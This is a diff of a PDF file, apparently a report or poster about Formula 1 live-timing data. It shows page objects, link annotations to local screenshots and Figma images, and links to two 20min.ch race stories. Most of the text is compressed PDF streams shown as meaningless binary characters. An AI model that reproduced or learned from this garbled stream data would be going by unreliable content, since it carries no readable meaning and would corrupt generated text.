qk>lg^8Xs}$͟~}Kn{Y:Eq}=gy힥-gr29[|\^/9?/^vZv/}}m1>^OϿ/C?]E? ̟߿a<os[tK=Ò~fϼeҿħ~E{{s=|-v~ɯO~O˟ggUZϯ ˲o^uiomInK織>2nxijy/|ce9_b?glGiחS-o< ?ߒMˢఔ[tHo/ -,R--~ϰTﺬqI6=.y$әmiLyYòy6OmL3p[>?qV _u28ՒC!u '*{|ןw>{׷ S7ܽۯ?ܗy}L矿??~ -g~~Ǐ~x:g8Ol/~g2]cn/4ɼX-~ùi|.&嗹Xf}8/#[s7JoT?g|a,W@-e]u!^`zu}_kn=}Ȼ 7W]hJ%q%!_y#Eyfo{w)/Ù~k(%LM_zJշ~wjc=YOimޟlOqK`Ɲ> Z]?Np}ٺvzã~#_j;'=a}ezg^v~n<>ݞIz N;8= njsX_N|'7Ws--Iϳw B2 -endstream endobj 420 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 419 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 538.710911 310.763622 555.889134 296.363622 ] +/BS << +/W 0 +>> +/Dest (Code/recoverCookiesCSV/:recovercookiescsvpy) >> endobj 421 0 obj << /Filter /FlateDecode -/Length 4225 +/Length 2866 >> stream -xKo`^ A⅝E L`Fe@b"TlMû>ޝe8~F:0)Hj,bS{)@RlU@7\9$n# [|9pKpU [Rpk`dpkj! nm q9TmdAJ- r p[N@㥫U^FPb,%ɼ,% -:9ChH dE;"Xo> -xG'/1M]s0ւsAE!9kC̱"@iY)\-J 1ǫX1GbNT!fc7oF9&!f$?($b6Mq#svJ 1ghp9%*>s..(3d1oUbĚKJY -dbD&%3Q$+f -Sa?~Q/C)lWjKu`y ` FM`0=鏦S d-x bf.Oj 6-1Lb@ޭ 1R ݬJ[z. B}!H AKQA^8'1Č(m hYb90SCiKRbWn?F A( >ޙҖwK 1cM@q${̦0/? Zsɩ)Ѐ-FZ+} |Г4!FS)+ >DFF 1y -*(nhYar | *Nb^AHȼ%!f>(苗ڂ/A` ) Lb9(!FڂH 1">vD- f)1UiKCB$ L'xQcC̖TS &tPAd 9s& k)ma -* >Țg 9> -9s>j̪4tN05(m Tu(zN (ҖV*E|UV"# @d&-dU#`da?`$9ڂF6F+(nCjDd&U#"Y|0U(Z3=u0-`ϢT(⃬1/pR5ƊE|5֤1H 1'r|0&.*eC AOV5"v`jS52AiKcFي='|ᔶ$|U(წ%წjD 9[S0 ,1\>Җ4 %1zJa%DTcc70 Ӧ%%| Wڒ_J 1{&OנjD l^JڂrF7Ad5QSd IՈE՟I䧄PImS"T|QW5³$gEՈ> TH 1gr|0eKqC^Ո %=U6|e-¡jDbA՟Y5`ჩjDl'ᕶh!J c hJ[ eQU#2|05r h -@b>G-2YՈ d?>Hb㕶XǑFI 1{_T^ZV5"K~&R|y5-FZUA ūწA6EՈ 46J[ d΂>Ȝ>ȜU-UAUߡ - aF0O%U#2|8|Ьu&0 XVg{\j >XU#o#Pܨ=r(t=Jm4!–HL)m T(ヌcQڒACT(lCUwb5r!Fn%ヌQV52FMiKCNbrfG AT(?3N&g-92kS5Җ+ -C+)mA&s$P UC0` bXT(T(d|MՈ2>HU՟3>HڂfWՈBi(Ej >5U# 1U# 1|e|0gryO+1r |0cF\7AT(\T(\Hm3jD*U9ヹ,de|sy-8TQ ;-߳$!!C x8/oyg|\Q5pE񌤺,lJ[ ->X7U#* TU. ^i I T|g-仩QmFRCH0`!Ug̛l;nx܂K;f4lJz<'i+>˻>?_\zsw=lV|s-˻/"p~P.{촋tl4T\|tt詏'ozI/frd[/\-ÆTƙm_|?Tuc[a*؇byy+&=]_--mg~;m4k{e>ҧ]/,\_ןuC\uo׼>wXƦU&u|f~Z.q=ӖpRZVy'mō̡aN. Vn},Z{#/wHzOWI=ƅ8X`_;l̆c9N_`eЖX*z[s4Kʚ~>ì6ϛj&Æ;Esz`&2 ľ3HdY^Mi?z O޵ǁyktl =~`zl<̶_idg 7;:)ٞgvAƊs3ӕ!׿T:=.a?a?H[d18Xq[ فIØ7n^'>,d 4I[YY7rdÄV@ʹ_Nq o_v^w*[R_ד%yT)Q.b;1h4Fdޤ6od Y9j5G[gu$c`K:oq?۷ [ȴQI2KFZ(7AZVO;Hωce-Af)Z&x$ĺD$XjO?ݢէ2t> _FmHV]Z5cŽa<0݊:1{Zs-Y{x2unLmGdn,!?Yb*⺑'@i۪˜.?W -rJQQ[}?Z핻؟+] o,0?7=䯘YA7c~2ذS<0怎e.S:nKbkMsOCq<]lI3c/w9XXG7Í'BI/%%/|!>g{_/Lj]O÷g4B.?&#iVm";g\*bt׮껵k~VMϷ?˙lK s0^'LǬw)z?ǻRg0?B1r[wY$0ߖ6{j.?-^auAxz{Är +xA+l@*V >9Drɗ(余vV<Bv-nw{,6"9' Vӛi:G<|}x>zuyZ}6#֧o~|_;6'1doN.twC9}~.72o^r6Vkgc 7~ng9;ճqtOo箞ٱ7RxnxxV%B +!"d!d2xfʵ!k{!kk!k]tCU) 6BPnv4F+Mc)Ӌr}H\.pO2R 1e7Be6-=R"tezSnezSn)F#Ld bA㦳:U1nBLo}1>ȦM)Lf.vjꎊ{Iө d"fP3wT 5saB@¤ZyP@dFĀE= ԔރS%͠f[P3#b9hj /?\Ϊb*A"r{IcLIijOl齨y^1Z"ƆS@= B='88BA zES3 彩"}Qj]EĠPXl%cA 1C :8HWjOaQzԜ[z[Q3('rQ rAJy/r4ÖS(rES(rNhՋLVD.Hz'!@ZW/rC9U;9-j^``P !5ǒATj]ALfԞBą +MD$ZW/rQ{ +EbДA;9ΪՋD2ԞBR{ +E;980T \9k="N:Z@y'W 3Y rУwrБ.d"?K͘\PwrЖI䠵u"L)49hӕ&-]yorS K?1dr<ԞBf78{^ݩOlT;8ȏ9HԺzjR{ +==[zj6࠯Ժ:.ԞBzK/;8ȏu/8XGs͓x8?VMeQ'+ ;P__x +a~~O?}w0;xc|NZ{cwx?]u)'Ϯ D{̼'Jg;ֽWs*"{{o7|'ru<\jƸ+o}]Kv7˽wNN[eJM~ + +eo~伃ͭm'?\y:>ח}ɘ|w9Sw>.o-~}\c+܁Dg}jW0܅6ۑY3 {m=0|}pޯb>io\kwWlyBϬ~Mns/G}JgFQaS/ls7V{{q0x&lOP|چn꿿\ endstream endobj 422 0 obj @@ -6501,7 +5447,7 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 421 0 R /Resources 4 0 R -/Annots [ 423 0 R 424 0 R 425 0 R 426 0 R 427 0 R ] +/Annots [ 423 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> @@ -6510,207 +5456,210 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 54.566457 529.792122 231.668996 517.388922 ] +/Rect [ 39.386457 667.950822 39.386457 652.936422 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (https://www.20min.ch/fr/story/les-leaders-du-championnat-en-fond-de-grille-937035758708) +/URI (./Images/Figma/PosterV7.png) >> >> endobj 424 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 54.566457 513.512922 250.033742 501.109722 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (https://www.20min.ch/fr/story/singapour-sous-la-pluie-depart-repousse-432150037887) ->> +/Filter /FlateDecode +/Length 389 >> +stream +xN0 yؑ8"~ qXq4x '.vL0n qioLw$H(ٗ*j!'"6;j + *1Xr@_1|w[K4!ߒfՐeJ*R}Rl؊YD~,y|4&IيZɸ7öԯ ^^v VϲnfɘR wp{u}җ@mnO0ُWG11ihj2;ɴ>)jo;0}DH]7eԫ6F!BBK>+ {S+ + +0/rᐩh +mX`ʞ0a89\HP +endstream endobj 425 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 493.357722 37.466457 480.954522 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ExampleLiveTicker.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 424 0 R +/Resources 4 0 R +/Annots [ 426 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 426 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 493.357722 557.809134 148.026278 ] +/Rect [ 39.386457 771.023622 555.889134 40.913981 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/ExampleLiveTicker.png) +/URI (./Images/Figma/PosterV7.png) >> >> endobj 427 0 obj << +/Filter /FlateDecode +/Length 4019 +>> +stream +x\]$|_1ϖϽJP>ϭv H3j$>{%fi/1'*)9Nd%S@JT2!*TANfŝ2@TbEH{z̊;OF_D[ :zQ#u0"SS.|&|H Qab%w`J]r"f ` ++_Pŝ:$w`d `t+_PcA!uiUr" %w`H+bN)_Pɝ:@ܩ()`=g :Ǯ:$-S!>M:r +H:Grpܩ(Hu0:}eP ɝ:h$w5!|AD:*ɝ:hhŝ:h T6ČY|ArKACQܡwH*C3%EqG\dČjT"DOh 1Ǫ#}&T=bF +HAElp57q:ܡn3&!fdŝ|-=3Y"3:PDƅUa'=qm%:&)_@S-h 0ל%w'fts*|C|90U:JU:D â|D2;t0%B޻E!fdqJCŽ3hŽs@lP(`F*,%w OHA>t( 1S;1#N̨ܔ/9|AVC;u[Uܝ:赪tUA4̊StQQ{ND!6:JA@;u⭖ԝ:9a̘;uYr"XղS1j30R NKA&;u0YVNDv:Wrܩ#(_P#dY!u0rQ6Scj]ݩѺSp`4ܩN ԺSC jO.UqHDg%SZ| `@$*_PCLjOͰNDfܩ];uZV{ +N4;u]N4Aה/d:hJAdy=S&2tgW!۰]qƇ"lM)@\V6eCI%@\ 6l j:Be̍͌B.\)d He=˽l#l4 1cˇK2X 0WJ#av:F% 131=*2|c 1Ց-acQ)d`= eD$Q|QU^]ވ9fv6(cNlEr܋DPպ:8 /d2t0"%N%N̩ub (A$rŽP!P{rg΀ԞBR{ +: +IrhܩZW/AG"|Qh$w ,$w [ Su +u0"SS{I:JU:3jOP*d!1&SQmuBD3 +ur:BSrܩx^PH;u^r"XպzjOPa +u+S#ZO uB -=B 5KPܩ*|A d/!Uɝ:.ŝ:ȲE>Khߕ/{TqH%w5ܩVMS{ +:h9(:hJD++uz :h!=J4K{ޓ ZWЫ=LCًZWSQ{ +53gD81*'b6Tqش*t0%w`h;tu2>ߩxl*> +Xݛ7oV|n᛫ D0=#^T{wTuvnopeT~~z'Ͼ|zw!=%;_/to?;~kCB~wPUP^x&>31iw.vxXC?sph M;03-ܒL4-QW&$*s>s bc\b3q/~[>SM6|6Ϳ8N +=Z؆;/3>='=ݿ F2k>9Ş6xV8B8T<@gOMNw =g{.AخaqrO_l|?mw|| z{gg)wNxύLG>{v_{ŹZ2Ɋq×gdW'¡(jIмknזB1z_\ws,\I-Yk:t?f5 m[P;a(G~L9ESu%rlƲD{k޲n˚^^G^':&@Ç񚰾viد:8=\֊e*,,8D6lNcR̨=kS'2.tTg0 uON`TI'N/qCR7i葋I2"G!yު`rZuu6mȘ"j܎v1j!SDSCatuCJ,<է T_t߷ +h,4PL\NU(]$KYEQ:qr>J T./csW SQs9v 塯~>9l5FQzn7u^csnlQVo=\(Ƕb`_8n~:.Q{uy:sRVV;{=6M|'H lz᠏DUP[7kPw=Ԫq8_[ctCWıw1 Rwov86iq쭱\|1&EG̞esl`w>(wf_Yum.JέAu+בY&vxl`]= m6֩rRe ({7>ȷckӼ.d,{"B&6־y\bD̷a4}i|;d,ۥ -UkJz_"0oPy}^4Bqsﮑyǿ?)y +endstream +endobj +428 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 427 0 R +/Resources 4 0 R +/Annots [ 429 0 R 430 0 R 431 0 R 432 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +429 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 297.637795 148.026278 297.637795 135.623078 ] +/Rect [ 297.637795 771.023622 297.637795 756.009222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/ExampleLiveTicker.png) +/URI (./Images/Figma/PosterV7.png) >> >> endobj -428 0 obj -<< -/Filter /FlateDecode -/Length 5455 ->> -stream -xKouq@v1p2Է=@a:Rs}jZjlז`oԜߞdn9,O>r.n[sfqbǧyj߲1gkE[S->߼؛y>}F[C=oťvۿ=zqIf8>\e8_n.R˻. #d!wLWߒe_-fyh~Ç 6XL%$ǨB֓sHQEWL(r†'}1 ;@ySH1W1BVb9l*+Z"c9~"9dpbJp*&s!#ĉDΰF1\{DW1+r@629YƐ3~2(+b|26J 1>*VB$ je 9FOr 2h-cșJq Z!g P͢š W1L~:h}Ί[:rF -v &$c9~[ȏ2Q*A6h51*wrFN:h5:HAmPA2ge 9 -? \8tЖR"{ZJ*cȹPAᩐT :EJ J cЪ:C ALg㈡P@ld 93ۋ:tA4U:X- ⋌!g$+lK2=5:輏[Ad 9{j^q %1UqG]d 9&G!𬸅.&r[TpP!Az*n!@Ɛs s(naJ hU1 sR1䜩6Ad 9~T@]IYCt XtS2r<:|.Ft02<:*)ni72&C 2W2W<:Y`DtSKnA= Y -b6AUQ;< #X#&d-g*ȣ)t[VE)ȣ1+2AyDdeyt9V%>Pr -?Jal.X2C AORNbJUQ@ -%> *)f=tatGAN&-dnT.b~XC A_2 5O@WApGAp_tW&! -~A_D tWwNQqK@tQQ@Y[- GCD+R(l)(5*Y)[AVFyD @aV:%E_B6}P[z_i; =?c߮קd!w(S6p>瞿s{q k7~~{b[cz,ݏ-K{.6W~?no1.޷};ָޠ'd} F{\Xc_K:8w__~]iGIH;RF]@>:>+Mm~g}5(Y̓6yQ+,]Й~B%.3\YU\ }4dXAkǝYQ( ϻ k,/AP=5Ψ mx~>7-G=Z:(xgx2ybfE0{00[c,_w1Coz>Nڱ^ n_9: mAvN=~YڶagM]ggvY;0>Ί~{o_ʺgp̕+H6v m`AQ)Hw{1 4,Y(Su඙2 ~chcAg]}Z5JD?6C^[;6el3g\ȇ5+MRt CD<B#p0F7iV3~^Mg߆8Q9 3A/X]PK:?_׍ցMçįSY/\~Ƅ)bnvY\pu^!{/]mm]e ->Ty|^s5;\ƠYq dze6:6zmOd]Wcg6VGgONx~+kt0jmwleto#f^Pi8\S,nX ]>8?_?zpz;[ν0.ޢIwyy.VQ PۂpX\;\wxt[jAqlШ2];w_dsc䚶[Ք8޾ӰrlzFNe ;#iNi)szM{;\X-wo 3z,M}2f?]Tr}mMCh=LCPk K6Bo/KhQ߁xI.ga 5b%̹yLGb>[)'?`MmcEqv\ğr?es?[.S IeoŸH˫T9| Yr ^)gNm5Z8`Lt~˦B+w;uZ}zov7\Q9ַL)fnsL?ŻY@n/mXsi~:/"S>st@.Vq/澚,;bs4>F湭1v߻l0=-ߞ ŸbMj7,nL㮖agM;N=t6UJik#&3q2b'1:cw>4_gZ̲9|n]/1_b3s8oǎKoaM{ 7x -[na,c]˪\A|;Ҹ }L ý;>m/T wrv_ 3b/kؑN 8>ɹ(p(^ƭW5:G[G`|ީ~>^Μ~`#{ܶ1q$l35U;ϥE&c2?_XFceL<0N;<6"-y/~ rMǝhG&2r^~`Ga8u^7omwj5"JmIvtc^gu {jnzy~~sTum˰Bgg`]o;1ErNU52N/'v~C~~ݏG5;lMEEi!~[x~%6f]g݂;[Kn}]w3 &8䦮IOޒ[[j#v}_"Tc}ke-9ѺCr'^?/P5nʟ^Si_f -Ƈ/ -endstream -endobj -429 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 428 0 R -/Resources 4 0 R -/Annots [ 430 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj 430 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 143.586222 37.466457 131.183022 ] +/Rect [ 39.386457 522.011322 39.386457 506.996922 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Formula1DataChannel.png) +/URI (./Images/Screens/ScreenF1TvData.png) >> >> endobj 431 0 obj << -/Filter /FlateDecode -/Length 1606 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 522.011322 555.889134 231.478566 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ScreenF1TvData.png) +>> >> -stream -xYn6WA$$@Zm rH?nE)RvcmDU^U=Jl;XɈhl_\(18//aq8I̺0K\B%f|%o RcD1 -#~~|X._(-U#Nu0 -R0 -h6[F7Fg47vA5=tR?^F'3x_7?e[kO0V s+4d9@}_: 0/cYC8?]h :U6"";':P'uk -t& m䀌uP0 Qd"jpe_<0\Ӽ~!m I_HڄB( .cړ.& -"4 9bVT>! 'lׂ.Dej3"JGvLMme+~ͬ<`bDC*'JtjbVӧYդ{KSw],5fsHxTRc愐/n*!VFmS8nn070)`lwۡ,6Sϲ`u9; ^T`'sOugy. "C!&v%i;V;?}&@/U` e(lw H2W|Q,JL>cay( FoJiْؐ33H487}f:(M+`U"f=V% P#59)`t6miŠ5vAw#d4M'bYٔFRL=Se/4҆d5JIY^ef{m[>'Jؿ;$pm:vZ|hgusg}1<$ PI8@ m>5^&u4;36>j1q"-8X!=8!K= -DJ k|XU `l/ 9(yTG Ml0'( -Ai\E{]3wrm gZˣJcHrxV( . -k}d1 ټ"pݣoyrWo~9)8%a3[0.!XW7{ (#-q~zIX )X`\ -}$]OzHlLqGxPql7gCh9 cj7Y0J_CաOT<w:Dt -endstream endobj 432 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 431 0 R -/Resources 4 0 R -/Annots [ 433 0 R 434 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 231.478566 297.637795 216.464166 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ScreenF1TvData.png) +>> >> endobj 433 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 478.872890 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Formula1DataChannel.png) ->> +/Filter /FlateDecode +/Length 2920 >> +stream +x[[,~_1φua q 0;_|v?DRO5RƘ2;-UI#O"A?-9]"6oE)O ߧ//o>Z)̈́ CCkkZ6'֓uPi*ZoA+K|*B<-~|%\ҳ7qq<^@2mܳ^1 ;{*NeW|;el¤,)Jk'FxՌj~B6W1cRpr`&q{X!z)z&ؽj6w)SG$Y2tv +weLZW9/]p`mW>~~3_n@ +_' $ ]UVR*%M +/bIp{Q[4xBug<NEwQN+WjMԸB@KgT +(?CGO)Jix-Ə&&襸i\,O֗hU0YAϣ)؉'hJeAu9Y2JPҔm3/»dBj ~ 9h.e"rrZ0Pk!5&cٖL 0]qi +{QqSޔ,4)3CY[PG>#\وE>RdWGdAyX@,J-x)X5:jmu6qh޻Bu7&lc->CV+|W.x}.XJQ +J)#l+-߬yF:)568 L +7!6>BF?{/ggF򴀉s˳'̧:lz9ZI\Ŭf[KZXsz D/sɦ&91n\^YL7$?K;y2Lx-+DOTC,-n,\bR|V{x\e؞ͻ +NX^- m TM]-IU@o1`bDq>Mk010wN]š@4g! yRM gUjt,Y/)zS,цc'& r)Bq (Ag]B@ A#uCu - mrPlfّ#PY*6Qs"C<\3gfGbHڟuvFm _l^Arrsu9RbEMj?2G4p|q@0jXİs +D%*> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/Formula1DataChannel.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 433 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 435 0 obj << /Filter /FlateDecode -/Length 4124 +/Length 6255 >> stream -xKH+r'^7Ҩ%XbQU=5Bb@3/vfؙ>Uj[]Yt=b)1웏3s F S&10jP"=1GgQb9dbs, `ZVJ1'ߢsJ!H)9R%W܈l1&!f$?($b6Mq#svJ 1@s*JT|"\\P#f\YɊC%֬c\WB+`j - -JD?khR[21Ebb+n0vSq"1ČoyG|T&+n h?!Kmy׼3pA?R[Am!f+-2n! LfUAL+ 1G2XҖ9!f@iKDC)$LJ[>荷C̸r 7r z @aAΔ|^b;m? c6=ǨeK 1n? ZV|׮RcT}%I 17r|JYaA$$|7r |yt`>9>&!PѠ$YUAj >[bF>x- 3R7As$PHmC$b?D;H -bf%!!RC̉&A(ma1!f `)mPUA(⃌WB2@b9D|5}[d3B -C̅@q @bVq 5fU``TmM'D|l:Asu?`@D|0U(쬲9d0? k5)m kQ# S#ɱ|0U5"X@qdzU# 0TEjD!5#|Mj >س(U# kKmLR5ƊE|5֤1H 1'r|0&R{]Ո2!H 'N0Q%1 -lE՞>pJ[>ڈFAFVڒAFS5"@)rRb? QiKὩQ}UڒXC "*ODi A8mJ[>%| WڒJ 1{&OנjD l^JڂrF7Ad5QSd IՈE՟I䧄PImS"T|QW5³$gEՈ> THL7U#J`ؗ>>Kzl J[ CMՈ ރ?jS5"SiUՈLO+m1C̕@Aє>ˢFd`j 9s#1|J[ d>7U6|+m1|iE՟ eU#!QWSb ZUA ūწA6EՈ 46J[ d΂>Ȝ>ȜU-UAU˕ - aF0O%U#2|и|Ќ@aAφ|Fd cuQ5"d@Qj >hI 1D?`eJiKǤjDdҖjDdT(b5r!Fn%ヌQV52FMiKCNbrfG AT(?3N&g-92kS5Җ+ -C+)mA&s$P[Sڂ!P|0Gr |1,FAvFAJ[2>HܦjD$|0㸪FD --`渪e|e|Lj >HLUՈ2>39 9>JU#`. U# 홪e||0ΪF)Q՟3>kR[AQWڂsIՈ ->ȵ|S– 9T0?`a-`C[+FC(Tw=ヅMiKKjD$啶ԀIՈ ->++m) jD췹K 9>X"9W՟ 9<7qAQsiXLЅ_wBڧ/ֹ>4ld]z/3Y:r|_k?Aw$6,.9R3YOeMǿ58ҿ9z{Yb]Ʀ?d}7|>S?NwAc -/\/t2ػN_&, m',06 V~PH[aX v>o$+AR(|ɘp #mamkY%kWY&ei28a{|z<\xމ}Yw$1x}k~ |5.ŋy|+kK g,v{kZ=k`E%k.L;1ge0m dM`PƀuͬY⭃e^R2ű[إ|0cWa.]@l4A8c->_qx][7JOo8Kr4{t tVoU; NtƢ}#%G[so~!gϟ#9WEm)у!띙\&vymBx<CgL6l33u".ƉZv-]2IYi>c>sZ0z:oJ*Ll]X28yqKL -֋tZkKf&?T~&_߉gm̬U_m=U3יfM9r}Yii3K~᧡ra3ZJmc le/9?=s\؇x/?5{s߻R=Vtoy(oC5^S.!Ȫ;RZsvWDzV`,EQKS<ǿWB=ҷl_Z>G縴x愹]&QvxM]]=cΧO/8KFKbC2e?qKF{뷗nrd&(,rcmhڹ s."wU~٦>zEXjG#Ά-_Mq[T*߽M[޽Ma[T޽M[ߖJ޽M}[l߻[l>=m_vo~}Ar 5ZUͼuVz/E,P:J_>AOt-{V{5w3f\o>|{Ӟg%ko鲻vÄ? +x݋ɕgÖ;2`xa`{ZlCgY5Fcd~Uyo8G7[-K%='w῕8a}GSr幥[Zꗛ.D-]}_O|mVK}>[,_{=}Ņ/9|-??e~/[+?^zumD& 0Vܽ- jwcc,÷ rsPе ,I/>F!4GSa.9p]1%,jQIWJQIWruQ 7$ +Pn*pâ^_(p] p8"N%"ũR" +(J1TҍƐEc!:Q `|LߡsqQB^ZR{p(NUT3(f0%=\d1D%g̱,>0P耔*s-2k[T&s&s 1cR9yabcZ$ƌVH×EB7=#D;/$jKjK-d1,s/9Eբ0PEa̾T cvUKU;/6U HpIо1GRCF{eT ,99j0@dT@dT@걪5T-(UTA*w ;u D-u~)&{U:i{؊=PRdXkX"j臁:&Scl2w FլjA5U `ENܩ!ZP[Ղ:jR1ܩ2w``K+1ǸZPQ;uMN  % frVbT?bS!>uT-3 U &82w &n2w &MՂ:]A̝:蚓S݂b3ݩZP1f>2wCVS]%Øq׫ZP2wr ͊)`9~aFIQc&{tQQsbY19T;o0ܣgE-"t0.XʈZD (1[dA0NtjsͬƌE}%z{dPgUȘUqcU0(sܛ\:ȩMTZV b9c@s,N"3f4Ef̾43cvUժjXU E:ܡ&s/9jQ3FqUʘ U1crc0Q bƒ1~[F;tjcb3V`*ƘѫU1cjA>7U `v%~HLu0-U垨VDLyQ' *DĂP' * !QOØS1S!jK=Q`3nV;u7̝:Ϊu u:MHA̝:̝:]V::QHAL~eALeC pT-!u0pRԾzԙBdAߜ̝:uWuУRS=AjA!3DX ܩYdAגWOAdu?;u\;uazjAtuaS:BS1ʫ3uY1NO1Lm* Ծzb=ԙB݊aQ c,){ 20fnL(1/XTܡaP1ybF0AERg +:=2$ϒrdo0f +`c栩ƌ^>\+;bseC+1WBBr:V;uУ\*w -9\ƌ廪uеT?ܩnq2w꠫N+N)T^^.y{b)+uS?2u*uйrAZC}[WAjRg +ǠaRC=0TԾz 9uPcY>Θ}GYRE"`E)TdAPCW0~rO k죡Ί\2Ox^t[2~J4Ka}o4D>n"{~T1b9jˇo^?;w)ddt11)ddt11)ddt1111&9b&9b&9b&9b&)2Hc&D0f"HL7L$1`D"3̙n"Hc&D0f"3D"3L$1`D2gD0f"Hc&dt`D"3L$1ɜ&D0f"Hc&9M$1`D"3L$sHc&D0f"HL7L$1`D"3LD"3L$1`D2gD0f"Hc&dt`D"3L$1ɜ&D0f"Hc&9M$1`D"3L$sHc&D0f"HL7L$1`D"3̙n"Hc&D0f"3D"3L$1`D2gD0f"Hc&d &D0f"Hc&9M$1`D"3L$sHc&D0f"HL7L$1`D"3̙n"Hc&D0f"3D"3L$1`D2gD0f"Hc&dt`D"3L$1ɜ&D0f"Hc&9M$1`D"3L$Sf0L$1`D"3̙n"Hc&D0f"3D"3L$1`D2gD0f"Hc&dt`D"3L$1ɜ&D0f"Hc&9M$1`D"3L$sHc&D0f"HL7L$1`D"3̙n"Hc&D0f"2D0f"Hc&dt`D"3L$1ɜ&D0f"Hc&9M$1`D"3L$sHc&D0f"HL7L$1`D"3̙n"Hc&D0f"3D"3L$1`D2gD0f"Hc&dt`D"3L$1ɔL$1`D"3L$sHc&D0f"HL7L$1`D"3̙n"Hc&D0f"3D"3L$1`D2gD0f"Hc&dt`D"3L$1ɜ&D0f"Hc&9M$1`D"3L$sHc&D0f"H`"Hc&D0f"3D"3L$1`D2gD0f"Hc&dt`D"3L$1ɜ&)`8@xy4\j"3(T/{-GzY>Ep?~={ ??RX8> 6e/e~އ+yRٵ~81m5z->{!(/ۗ{k@cYe{}/_/[[ zޮg&U_h ,5 pU|HzGo뭇:X+5cŐn֌ɬf/cC>02.+xo6_V`9S%[^u0ٽz얗cS>˖24ge[g=&;zúrp?poFzս~!-]r"wq*r}piqw!!~y#0{ 08xo{u &r~qtK8oWkoϞ;~?ɻãռj +wC{/{>Lx]ɌJ?uڳí98 ~WkkRU|o[nnu?>e[ZɕZ;SSfqd\4&<ij*Y}MʳK;?M>U"o[̯3T\g:62q/ߔЬcɏ։t+arX`!*0e\Uח4]e}.O(gg6^gmXklT/r?w]uAq5ns0eۃt n/8:S0w5MgنCSl'Tne=Rø.g{lӒF +5l#csWpugI{{Z3מZ<=qX_%8ڄ-N8p>ֱ/?o%[gLO|fzoBX`uGR*5BS97("%9߱x:,~iuo11_z04 +);b2ä\(`s>}:4U@z1Z/?ǾPary{ Cαk׮q`ZR [-cwB'2)srja*r>:!tqP&yWQX^*7~Q-!YazmW gӦ[r2 ]?H{ endstream endobj 436 0 obj @@ -6720,110 +5669,96 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 435 0 R /Resources 4 0 R -/Annots [ 437 0 R 438 0 R 439 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 437 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 491.176422 37.466457 478.773222 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Prototype.png) ->> +/Filter /FlateDecode +/Length 1832 >> +stream +xYY5~_H8i5DE!zzv"$J첻=Bv;nU}ux-YlON9'IsHg^8\*Twǧ_λE)zg%~|wz +ƗwnpP>:Txci}2q$ v,p 4̺TLd L?+P:; soO3%E5qV{F'qM܃ώ%9^eM$.g"?Y+ᙊ+5EF75[>dn8_ftʕTl5Ǜj|xSUJ gzp.s—pgTW瘮cpPB[ hw +VGFŹ n@A+^Rͤ\=(,/%|ISThSp#52/)bc.ʬ+j-]qA}^$˓jdN7/Wn[q}ik:h.`|wj4]qC`,ify4d̥]c GƨNiLE`NY a #jIh{#+גal1{^C(`t|_h͠.ՆVq;YÃHl.uV;crOUg sAڐV4WҒ'- L?+h0QZp=xW?(0xwۭ9*X&Z*ÎCo6xnog F%G"$Dxa{y9 Sfezg(!ͬߙdNid<6(Ŏ+ZNIZJ]SZK/5=MXj`@;̼r$ "D{`kBզ=V;H*'5]7\ 6yv#㘲&wT6Ԇ{lD 9!NcAk ++1lڬ_YUs &\XXۈkN PyĹ}D_Y $l3#д6ꛊ"`Lޘ'wEW*,KJĆ iN> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Prototype.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 